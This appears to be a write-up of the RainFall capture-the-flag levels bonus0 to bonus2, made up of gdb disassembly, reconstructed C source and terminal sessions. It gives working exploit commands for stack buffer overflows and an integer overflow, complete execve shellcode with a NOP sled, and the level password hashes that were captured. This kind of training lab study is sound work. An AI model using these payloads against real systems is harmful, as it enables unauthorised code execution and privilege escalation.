$1 = 0xbfffe8b6 "SHELLCODE=\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"...
A debugging session is active.
Inferior 1 [process 3637] will be killed.
Quit anyway? (y or n) y
bonus0@RainFall:~$ python -c 'print(hex(0xbfffe8b6 + 512))'
0xbfffeab6L
bonus0@RainFall:~$ python -c 'print "A" * 4095 + "\n" + "\x90" * 9 + "\xb6\xea\xff\xbf" + "AAAA" * 50' > /tmp/payload
bonus0@RainFall:~$ cat /tmp/payload - | ./bonus0
-
-
AAAAAAAAAAAAAAAAAAAA�������������AAAAAAA�� �������������AAAAAAA��
pwd
/home/user/bonus0
whoami
bonus1
cat /home/user/bonus1/.pass
cd1f77a585965341c37a1774a1d1686326e1fc53aaa5459c840409d4d06523c9
bonus1@RainFall:~$ objdump -R ./bonus1
./bonus1: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049760 R_386_GLOB_DAT __gmon_start__
08049770 R_386_JUMP_SLOT memcpy
08049774 R_386_JUMP_SLOT __gmon_start__
08049778 R_386_JUMP_SLOT __libc_start_main
0804977c R_386_JUMP_SLOT execl
08049780 R_386_JUMP_SLOT atoi
(gdb) disas main
Dump of assembler code for function main:
0x08048424 <+0>: push ebp
0x08048425 <+1>: mov ebp,esp
0x08048427 <+3>: and esp,0xfffffff0
0x0804842a <+6>: sub esp,0x40
0x0804842d <+9>: mov eax,DWORD PTR [ebp+0xc]
0x08048430 <+12>: add eax,0x4
0x08048433 <+15>: mov eax,DWORD PTR [eax]
0x08048435 <+17>: mov DWORD PTR [esp],eax
0x08048438 <+20>: call 0x8048360 <atoi@plt>
0x0804843d <+25>: mov DWORD PTR [esp+0x3c],eax
0x08048441 <+29>: cmp DWORD PTR [esp+0x3c],0x9
0x08048446 <+34>: jle 0x804844f <main+43>
0x08048448 <+36>: mov eax,0x1
0x0804844d <+41>: jmp 0x80484a3 <main+127>
0x0804844f <+43>: mov eax,DWORD PTR [esp+0x3c]
0x08048453 <+47>: lea ecx,[eax*4+0x0]
0x0804845a <+54>: mov eax,DWORD PTR [ebp+0xc]
0x0804845d <+57>: add eax,0x8
0x08048460 <+60>: mov eax,DWORD PTR [eax]
0x08048462 <+62>: mov edx,eax
0x08048464 <+64>: lea eax,[esp+0x14]
0x08048468 <+68>: mov DWORD PTR [esp+0x8],ecx
0x0804846c <+72>: mov DWORD PTR [esp+0x4],edx
0x08048470 <+76>: mov DWORD PTR [esp],eax
0x08048473 <+79>: call 0x8048320 <memcpy@plt>
0x08048478 <+84>: cmp DWORD PTR [esp+0x3c],0x574f4c46
0x08048480 <+92>: jne 0x804849e <main+122>
0x08048482 <+94>: mov DWORD PTR [esp+0x8],0x0
0x0804848a <+102>: mov DWORD PTR [esp+0x4],0x8048580
0x08048492 <+110>: mov DWORD PTR [esp],0x8048583
0x08048499 <+117>: call 0x8048350 <execl@plt>
0x0804849e <+122>: mov eax,0x0
0x080484a3 <+127>: leave
0x080484a4 <+128>: ret
End of assembler dump.
int main(int ac, char **av) {
int x; // esp+0x3c
unsigned char buf[60]; // esp
x = atoi(av[1]);
if (x <= 9)
{
memcpy(&buf[20], av[2], x * 4);
if (x != 0x574f4c46) // main+84 / 0x08048478
{
;
}
else
{
execl("/bin/sh", "sh", 0);
}
}
else
{
return (1);
}
return (0);
}
Let's verify that argv[1] is compared with <= atoi("9") and our interpretation of the 1st if was right
bonus1@RainFall:~$ gdb ./bonus1
...
(gdb) b main
Breakpoint 1 at 0x8048427
(gdb) r 9 AAAA
(gdb) b *0x08048441 # (main+29, cmp instruction)
Breakpoint 2 at 0x8048441
(gdb) c
Continuing.
Breakpoint 2, 0x08048441 in main ()
(gdb) info registers
eax 0x9 9
ecx 0x0 0
edx 0x0 0
...
(gdb) b *0x0804844f # (main+43)
Breakpoint 3 at 0x804844f
(gdb) c
Continuing.
Breakpoint 3, 0x0804844f in main ()
# we're in the if condition!
bonus1@RainFall:~$ ./bonus1 9 AAAA; echo $?
0
bonus1@RainFall:~$ ./bonus1 8 AAAA; echo $?
0
bonus1@RainFall:~$ ./bonus1 10 AAAA; echo $?
1
Now that we're in the if we have to overwrite the value of the variable at the address esp+0x3c
with 0x574f4c46
bonus1@RainFall:~$ python -c 'print "A" * 40 + "\x46\x4c\x4f\x57"'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFLOW
AAAAAAAAAAAAFLOW
bonus1@RainFall:~$ ./bonus1 9 $(python -c 'print "A" * 40 + "\x46\x4c\x4f\x57"')
bonus1@RainFall:~$ gdb ./bonus1
...
(gdb) b main
Breakpoint 1 at 0x8048427
(gdb) r 9 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFLOW
Starting program: /home/user/bonus1/bonus1 9 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFLOW
Breakpoint 1, 0x08048427 in main ()
(gdb) b *0x08048478
Breakpoint 2 at 0x8048478
(gdb) c
Continuing.
Breakpoint 2, 0x08048478 in main ()
(gdb) x/60x $esp
0xbffff650: 0xbffff664 0xbffff889 0x00000024 0x080482fd
0xbffff660: 0xb7fd13e4 0x41414141 0x41414141 0x41414141
0xbffff670: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff680: 0x41414141 0x41414141 0x080484b9 [ 0x00000009 ]
...
We can see that even with enougth bytes to overflow the buffer, our value wasn't overwritten because the memcpy
is limited to (x * 4)
so if the max value of x
is 9, the memcpy is limited to 36
bytes, we would need 8 more to overwrite the result of atoi()
One way of doing this would be to use a negative value for argv[1], so when doing atoi(argv[1]) * 4
, the integer would overflow and save only the difference with int_min, the minimum value of a 4 bytes int is -2147483648
, so if we pass -2147483640
, our int will have the value of (-2147483648 - -2147483640) * 4 = 32
Let's try to make our int equals to 40 bytes to overwrite the compared value
bonus1@RainFall:~$ gdb ./bonus1
...
(gdb) b main
Breakpoint 1 at 0x8048427
(gdb) r -2147483637 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFLOW
Starting program: /home/user/bonus1/bonus1 -2147483637 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFLOW
Breakpoint 1, 0x08048427 in main ()
(gdb) b *0x08048478
Breakpoint 2 at 0x8048478
(gdb) c
Continuing.
Breakpoint 2, 0x08048478 in main ()
(gdb) x/60x $esp
0xbffff650: 0xbffff664 0xbffff889 0x0000002c 0x080482fd
0xbffff660: 0xb7fd13e4 0x41414141 0x41414141 0x41414141
0xbffff670: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff680: 0x41414141 0x41414141 0x41414141 [ 0x574f4c46 ]
(gdb) c
Continuing.
process 2853 is executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "main" not defined.
$
Let's try again without gdb:
bonus1@RainFall:~$ ./bonus1 -2147483637 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFLOW
$ whoami
bonus2
$ pwd
/home/user/bonus1
$ cat /home/user/bonus2/.pass
579bd19263eb8655e4cf7b742d75edf8c38226925d78db8163506f5191825245
bonus2@RainFall:~$ objdump -R ./bonus2
./bonus2: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804994c R_386_GLOB_DAT __gmon_start__
0804995c R_386_JUMP_SLOT memcmp
08049960 R_386_JUMP_SLOT strcat
08049964 R_386_JUMP_SLOT getenv
08049968 R_386_JUMP_SLOT puts
0804996c R_386_JUMP_SLOT __gmon_start__
08049970 R_386_JUMP_SLOT __libc_start_main
08049974 R_386_JUMP_SLOT strncpy
Dump of assembler code for function main:
0x08048529 <+0>: push ebp
0x0804852a <+1>: mov ebp,esp
0x0804852c <+3>: push edi
0x0804852d <+4>: push esi
0x0804852e <+5>: push ebx
0x0804852f <+6>: and esp,0xfffffff0
0x08048532 <+9>: sub esp,0xa0 ; Allocate 0xa0 bytes on the stack (160)
0x08048538 <+15>: cmp DWORD PTR [ebp+0x8],0x3 ; Compare the 1st argument of main (argc) with 3
0x0804853c <+19>: je 0x8048548 <main+31> ; If it's equal go to main+31
0x0804853e <+21>: mov eax,0x1 ; Set eax to 1
0x08048543 <+26>: jmp 0x8048630 <main+263> ; Goto main+263 (end)
0x08048548 <+31>: lea ebx,[esp+0x50] ; Set ebx to *(esp+0x50) (80th byte of stack)
0x0804854c <+35>: mov eax,0x0 ; Set eax to 0
0x08048551 <+40>: mov edx,0x13 ; Set edx to 0x13 (19)
0x08048556 <+45>: mov edi,ebx ; Set edi to ebx *(80th byte of the stack)
0x08048558 <+47>: mov ecx,edx ; Set ecx to edx
0x0804855a <+49>: rep stos DWORD PTR es:[edi],eax ; memset like operation -> https://stackoverflow.com/questions/3818856/what-does-the-rep-stos-x86-assembly-instruction-sequence-do
0x0804855c <+51>: mov eax,DWORD PTR [ebp+0xc] ; Set eax to *(ebp+0xc), 2nd argument of main() (argv)
0x0804855f <+54>: add eax,0x4 ; Add 4 to eax
0x08048562 <+57>: mov eax,DWORD PTR [eax] ; Set eax to the value pointed by it (argv[1])
0x08048564 <+59>: mov DWORD PTR [esp+0x8],0x28 ; Set 0x28 as the 3rd argument of strncpy()
0x0804856c <+67>: mov DWORD PTR [esp+0x4],eax ; Set eax as the 2nd argument of strncpy()
0x08048570 <+71>: lea eax,[esp+0x50] ; Set eax to the value of the 80th byte of the stack
0x08048574 <+75>: mov DWORD PTR [esp],eax ; Set eax as the 1st argument of strncpy()
0x08048577 <+78>: call 0x80483c0 <strncpy@plt> ; Call strncpy(*(esp+0x50), argv[1], 0x28 (40))
0x0804857c <+83>: mov eax,DWORD PTR [ebp+0xc] ; Set eax to *(ebp+0xc), 2nd argument of main() (argv)
0x0804857f <+86>: add eax,0x8 ; Add 8 to eax
0x08048582 <+89>: mov eax,DWORD PTR [eax] ; Set eax to the value pointed by it
0x08048584 <+91>: mov DWORD PTR [esp+0x8],0x20 ; Set 0x20 as the 3rd argument of strncpy()
0x0804858c <+99>: mov DWORD PTR [esp+0x4],eax ; Set eax as the 2nd argument of strncpy()
0x08048590 <+103>: lea eax,[esp+0x50] ; Set eax to the value of *(esp+0x50)
0x08048594 <+107>: add eax,0x28 ; Add 0x28 (40) to eax
0x08048597 <+110>: mov DWORD PTR [esp],eax ; Set eax as the 1st argument of strncpy
0x0804859a <+113>: call 0x80483c0 <strncpy@plt> ; Call strncpy(*(esp+0x50) + 28, argv[2], 0x20 /* (32) */)
0x0804859f <+118>: mov DWORD PTR [esp],0x8048738 ; (gdb) printf "%s", 0x8048738 -> "LANG"
0x080485a6 <+125>: call 0x8048380 <getenv@plt> ; Call getenv("LANG")
0x080485ab <+130>: mov DWORD PTR [esp+0x9c],eax ; Set *(esp+0x9c) to eax (return of getenv)
0x080485b2 <+137>: cmp DWORD PTR [esp+0x9c],0x0 ; Compare it to 0
0x080485ba <+145>: je 0x8048618 <main+239> ; If equals, goto main+239
0x080485bc <+147>: mov DWORD PTR [esp+0x8],0x2 ; Set 0x2 (2) as the 3rd argument of memcmp
0x080485c4 <+155>: mov DWORD PTR [esp+0x4],0x804873d ; Set 0x804873d as the 2nr argument of memcmp() (gdb) printf "%s", 0x804873d -> "fi"
0x080485cc <+163>: mov eax,DWORD PTR [esp+0x9c] ; Set eax to *(esp+0x9c)
0x080485d3 <+170>: mov DWORD PTR [esp],eax ; Set eax as the 1st argument of memcmp()
0x080485d6 <+173>: call 0x8048360 <memcmp@plt> ; Call memcmp(eax, "fi", 2);
0x080485db <+178>: test eax,eax ; Check if eax equals to 0
0x080485dd <+180>: jne 0x80485eb <main+194> ; If not goto main+194
0x080485df <+182>: mov DWORD PTR ds:0x8049988,0x1 ; Set 0x8049988 to 1
0x080485e9 <+192>: jmp 0x8048618 <main+239> ; Goto main+239
0x080485eb <+194>: mov DWORD PTR [esp+0x8],0x2 ; Set 3rd argument of memcmp to 0x2 (2)
0x080485f3 <+202>: mov DWORD PTR [esp+0x4],0x8048740 ; Set 2nd argument of memcmp to 0x8048740 (gdb) printf "%s", 0x8048740 -> "nl"
0x080485fb <+210>: mov eax,DWORD PTR [esp+0x9c] ; Set eax to *(esp+0x9c)
0x08048602 <+217>: mov DWORD PTR [esp],eax ; Set eax as 1st argument of memcmp
0x08048605 <+220>: call 0x8048360 <memcmp@plt> ; Call memcmp(*(esp+0x9c), "nl", 2);
0x0804860a <+225>: test eax,eax ; Check if eax equals to 0
0x0804860c <+227>: jne 0x8048618 <main+239> ; If not goto main+239
0x0804860e <+229>: mov DWORD PTR ds:0x8049988,0x2 ; Set 0x8049988 to 2
0x08048618 <+239>: mov edx,esp ; Set edx to esp
0x0804861a <+241>: lea ebx,[esp+0x50] ; Set ebx to *(esp+0x50)
0x0804861e <+245>: mov eax,0x13 ; Set eax to 0x13 (19)
0x08048623 <+250>: mov edi,edx ; Set edi to edx
0x08048625 <+252>: mov esi,ebx ; Set esi to ebx
0x08048627 <+254>: mov ecx,eax ; Set ecx to eax
0x08048629 <+256>: rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi] ; https://stackoverflow.com/questions/27804852/assembly-rep-movs-mechanism equivalent to memcpy(edi, esi, 0x13)
0x0804862b <+258>: call 0x8048484 <greetuser> ; Call greetuser()
0x08048630 <+263>: lea esp,[ebp-0xc] ; Free allocated bytes
0x08048633 <+266>: pop ebx
0x08048634 <+267>: pop esi
0x08048635 <+268>: pop edi
0x08048636 <+269>: pop ebp
0x08048637 <+270>: ret
End of assembler dump.
Dump of assembler code for function greetuser:
0x08048484 <+0>: push ebp
0x08048485 <+1>: mov ebp,esp
0x08048487 <+3>: sub esp,0x58 ; Allocate 0x58 bytes on the stack (88)
0x0804848a <+6>: mov eax,ds:0x8049988 ; Set eax to the global variable
0x0804848f <+11>: cmp eax,0x1 ; Compare eax with 1
0x08048492 <+14>: je 0x80484ba <greetuser+54> ; If equals, goto greetuser+54
0x08048494 <+16>: cmp eax,0x2 ; Compare eax with 2
0x08048497 <+19>: je 0x80484e9 <greetuser+101> ; If equals, goto greetuser+101
0x08048499 <+21>: test eax,eax ; Test if eax is equals to 0
0x0804849b <+23>: jne 0x804850a <greetuser+134> ; If not goto greetuser+134
0x0804849d <+25>: mov edx,0x8048710 ; Set edx to 0x8048710 printf "%s", 0x8048710 -> "Hello "
0x080484a2 <+30>: lea eax,[ebp-0x48] ; Set eax to *(ebp-0x48) (16th byte of the stack)
0x080484a5 <+33>: mov ecx,DWORD PTR [edx] ; Set ecx to edx
0x080484a7 <+35>: mov DWORD PTR [eax],ecx ; Set eax to ecx
0x080484a9 <+37>: movzx ecx,WORD PTR [edx+0x4] ; Set ecx to edx + 0x4 and add a 0 byte after it
0x080484ad <+41>: mov WORD PTR [eax+0x4],cx ; Set *(eax + 0x4) to cx
0x080484b1 <+45>: movzx edx,BYTE PTR [edx+0x6] ; Set edx to edx + 0x6
0x080484b5 <+49>: mov BYTE PTR [eax+0x6],dl ; Set eax + 0x6 to dl
0x080484b8 <+52>: jmp 0x804850a <greetuser+134> ; goto greetuser+134
0x080484ba <+54>: mov edx,0x8048717 ; Set edx to 0x8048717 printf "%s", 0x8048717 -> "Hyvää päivää "
0x080484bf <+59>: lea eax,[ebp-0x48] ; Set eax to *(ebp-0x48) (16th byte of the stack)
0x080484c2 <+62>: mov ecx,DWORD PTR [edx]
0x080484c4 <+64>: mov DWORD PTR [eax],ecx
0x080484c6 <+66>: mov ecx,DWORD PTR [edx+0x4]
0x080484c9 <+69>: mov DWORD PTR [eax+0x4],ecx
0x080484cc <+72>: mov ecx,DWORD PTR [edx+0x8]
0x080484cf <+75>: mov DWORD PTR [eax+0x8],ecx
0x080484d2 <+78>: mov ecx,DWORD PTR [edx+0xc]
0x080484d5 <+81>: mov DWORD PTR [eax+0xc],ecx
0x080484d8 <+84>: movzx ecx,WORD PTR [edx+0x10]
0x080484dc <+88>: mov WORD PTR [eax+0x10],cx
0x080484e0 <+92>: movzx edx,BYTE PTR [edx+0x12]
0x080484e4 <+96>: mov BYTE PTR [eax+0x12],dl ; strcpy equivalent
0x080484e7 <+99>: jmp 0x804850a <greetuser+134> ; goto greetuser+134
0x080484e9 <+101>: mov edx,0x804872a ; Set edx to 0x804872a printf "%s", 0x804872a -> "Goedemiddag! "
0x080484ee <+106>: lea eax,[ebp-0x48]
0x080484f1 <+109>: mov ecx,DWORD PTR [edx]
0x080484f3 <+111>: mov DWORD PTR [eax],ecx
0x080484f5 <+113>: mov ecx,DWORD PTR [edx+0x4]
0x080484f8 <+116>: mov DWORD PTR [eax+0x4],ecx
0x080484fb <+119>: mov ecx,DWORD PTR [edx+0x8]
0x080484fe <+122>: mov DWORD PTR [eax+0x8],ecx
0x08048501 <+125>: movzx edx,WORD PTR [edx+0xc]
0x08048505 <+129>: mov WORD PTR [eax+0xc],dx ; strcpy equivalent
0x08048509 <+133>: nop
0x0804850a <+134>: lea eax,[ebp+0x8] ; Set eax to 1st argument of greetuser()
0x0804850d <+137>: mov DWORD PTR [esp+0x4],eax ; Set eax as 2nd argument of strcat
0x08048511 <+141>: lea eax,[ebp-0x48] ; Set eax to *(ebp-0x48) (16th byte of the stack)
0x08048514 <+144>: mov DWORD PTR [esp],eax ; Set eax as 1st argument of strcat
0x08048517 <+147>: call 0x8048370 <strcat@plt> ; Call strcat(ebp-0x48, greetuser_1st_arg)
0x0804851c <+152>: lea eax,[ebp-0x48] ; Set eax to *(ebp-0x48) (16th byte of the stack)
0x0804851f <+155>: mov DWORD PTR [esp],eax ; Set eax as 1st argument of puts
0x08048522 <+158>: call 0x8048390 <puts@plt> ; Call puts(*(ebp-0x48))
0x08048527 <+163>: leave
0x08048528 <+164>: ret
End of assembler dump.
int global_0x8049988 = 0;
void *greetuser(char *str)
{
unsigned char buf[88];
if (global_0x8049988 == 1)
{
strcpy(&buf[16], "Hyvää päivää ");
}
else if (global_0x8049988 == 2)
{
strcpy(&buf[16], "Goedemiddag! ");
}
else if (global_0x8049988 == 0)
{
strcpy(&buf[16], "Hello ");
}
strcat(&buf[16], str);
puts(&buf[16]);
}
int main(int argc, char *argv[])
{
char *lang; // esp+0x9c
unsigned char buf[156];
if (argc == 3)
{
memset(&buf[80], 0, 0x13 /* (19) */);
strncpy(&buf[80], argv[1], 0x28 /* (40) */);
strncpy(&buf[80] + 28, argv[2], 0x20 /* (32) */);
lang = getenv("LANG");
if (lang == NULL)
{
;
}
else
{
if (memcmp(lang, "fi", 2))
{
if (memcmp(lang, "nl", 2))
{
return (1);
}
else
{
global_0x8049988 = 0x2;
}
}
else
{
global_0x8049988 = 0x1;
}
}
// main+239
memcpy(buf, &buf[80], 0x13 /* (19) */);
greetuser(argv[1]);
}
return (1);
}
- Export LANG=nl to be sure we don't
return 1
bonus2@RainFall:~$ export LANG=nl
bonus2@RainFall:~$ ./bonus2 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag a a
bonus2@RainFall:~$ ./bonus2 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag a
Goedemiddag! Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Aa
bonus2@RainFall:~$ ./bonus2 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Goedemiddag! Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2AAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab
Segmentation fault (core dumped)
-
We can make the program segfault if we pass 2 big arguments with the env variable LANG=nl, at this point we've already won
-
Pass a pattern generated here
bonus2@RainFall:~$ gdb ./bonus2
(gdb) b main
Breakpoint 1 at 0x804852f
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Starting program: /home/user/bonus2/bonus2 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Breakpoint 1, 0x0804852f in main ()
(gdb) c
Continuing.
Goedemiddag! Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2AAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab
Program received signal SIGSEGV, Segmentation fault.
0x38614137 in ?? ()
-
Get the offset of the address
0x38614137
: 23 -
Load a shellcode with a nopsled into the environment and get environment address
bonus2@RainFall:~$ export SHELLCODE=$(python -c 'print "\x90" * 4096 + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x
52\x51\x53\x89\xe1\xcd\x80"')
bonus2@RainFall:~$ gdb ./bonus2 --eval-command='b main' --eval-command='r' --eval-command='print *((char **)environ)' --eval-command='quit'
...
Breakpoint 1 at 0x804852f
Starting program: /home/user/bonus2/bonus2
Breakpoint 1, 0x0804852f in main ()
$1 = 0xbfffe8c3 "SHELLCODE=\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22
0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22
0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"...
A debugging session is active.
Inferior 1 [process 2609] will be killed.
- Execute the shellcode by loading EIP on the nopsled
bonus2@RainFall:~$ python -c 'print(hex(0xbfffe8c3 + 512))'
0xbfffeac3L
bonus2@RainFall:~$ ./bonus2 $(python -c 'print "A" * 23 + "\xc3\xea\xff\xbf" + "A" * 255') $(python -c 'print "A" * 23 + "\xc3\xea\xff\xbf" + "A" * 255')
Goedemiddag! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bash-4.2$
bash-4.2$ whoami
bonus3
bash-4.2$ pwd
/home/user/bonus2
bash-4.2$ cat /home/user/bonus3/.pass
71d449df0f960b36e0055eb58c14d0f5d0ddc0b35328d657f91cf0df15910587
Dump of assembler code for function main:
0x080484f4 <+0>: push ebp
0x080484f5 <+1>: mov ebp,esp
0x080484f7 <+3>: push edi
0x080484f8 <+4>: push ebx
0x080484f9 <+5>: and esp,0xfffffff0
0x080484fc <+8>: sub esp,0xa0
0x08048502 <+14>: mov edx,0x80486f0
0x08048507 <+19>: mov eax,0x80486f2
0x0804850c <+24>: mov DWORD PTR [esp+0x4],edx
0x08048510 <+28>: mov DWORD PTR [esp],eax
0x08048513 <+31>: call 0x8048410 <fopen@plt>
0x08048518 <+36>: mov DWORD PTR [esp+0x9c],eax
0x0804851f <+43>: lea ebx,[esp+0x18]
0x08048523 <+47>: mov eax,0x0
0x08048528 <+52>: mov edx,0x21
0x0804852d <+57>: mov edi,ebx
0x0804852f <+59>: mov ecx,edx
0x08048531 <+61>: rep stos DWORD PTR es:[edi],eax
0x08048533 <+63>: cmp DWORD PTR [esp+0x9c],0x0
0x0804853b <+71>: je 0x8048543 <main+79>
0x0804853d <+73>: cmp DWORD PTR [ebp+0x8],0x2
0x08048541 <+77>: je 0x804854d <main+89>
0x08048543 <+79>: mov eax,0xffffffff
0x08048548 <+84>: jmp 0x8048615 <main+289>
0x0804854d <+89>: lea eax,[esp+0x18]
0x08048551 <+93>: mov edx,DWORD PTR [esp+0x9c]
0x08048558 <+100>: mov DWORD PTR [esp+0xc],edx
0x0804855c <+104>: mov DWORD PTR [esp+0x8],0x42
0x08048564 <+112>: mov DWORD PTR [esp+0x4],0x1
0x0804856c <+120>: mov DWORD PTR [esp],eax
0x0804856f <+123>: call 0x80483d0 <fread@plt>
0x08048574 <+128>: mov BYTE PTR [esp+0x59],0x0
0x08048579 <+133>: mov eax,DWORD PTR [ebp+0xc]
0x0804857c <+136>: add eax,0x4
0x0804857f <+139>: mov eax,DWORD PTR [eax]
0x08048581 <+141>: mov DWORD PTR [esp],eax
0x08048584 <+144>: call 0x8048430 <atoi@plt>
0x08048589 <+149>: mov BYTE PTR [esp+eax*1+0x18],0x0
0x0804858e <+154>: lea eax,[esp+0x18]
0x08048592 <+158>: lea edx,[eax+0x42]
0x08048595 <+161>: mov eax,DWORD PTR [esp+0x9c]
0x0804859c <+168>: mov DWORD PTR [esp+0xc],eax
0x080485a0 <+172>: mov DWORD PTR [esp+0x8],0x41
0x080485a8 <+180>: mov DWORD PTR [esp+0x4],0x1
0x080485b0 <+188>: mov DWORD PTR [esp],edx
0x080485b3 <+191>: call 0x80483d0 <fread@plt>
0x080485b8 <+196>: mov eax,DWORD PTR [esp+0x9c]
0x080485bf <+203>: mov DWORD PTR [esp],eax
0x080485c2 <+206>: call 0x80483c0 <fclose@plt>
0x080485c7 <+211>: mov eax,DWORD PTR [ebp+0xc]
0x080485ca <+214>: add eax,0x4
0x080485cd <+217>: mov eax,DWORD PTR [eax]
0x080485cf <+219>: mov DWORD PTR [esp+0x4],eax
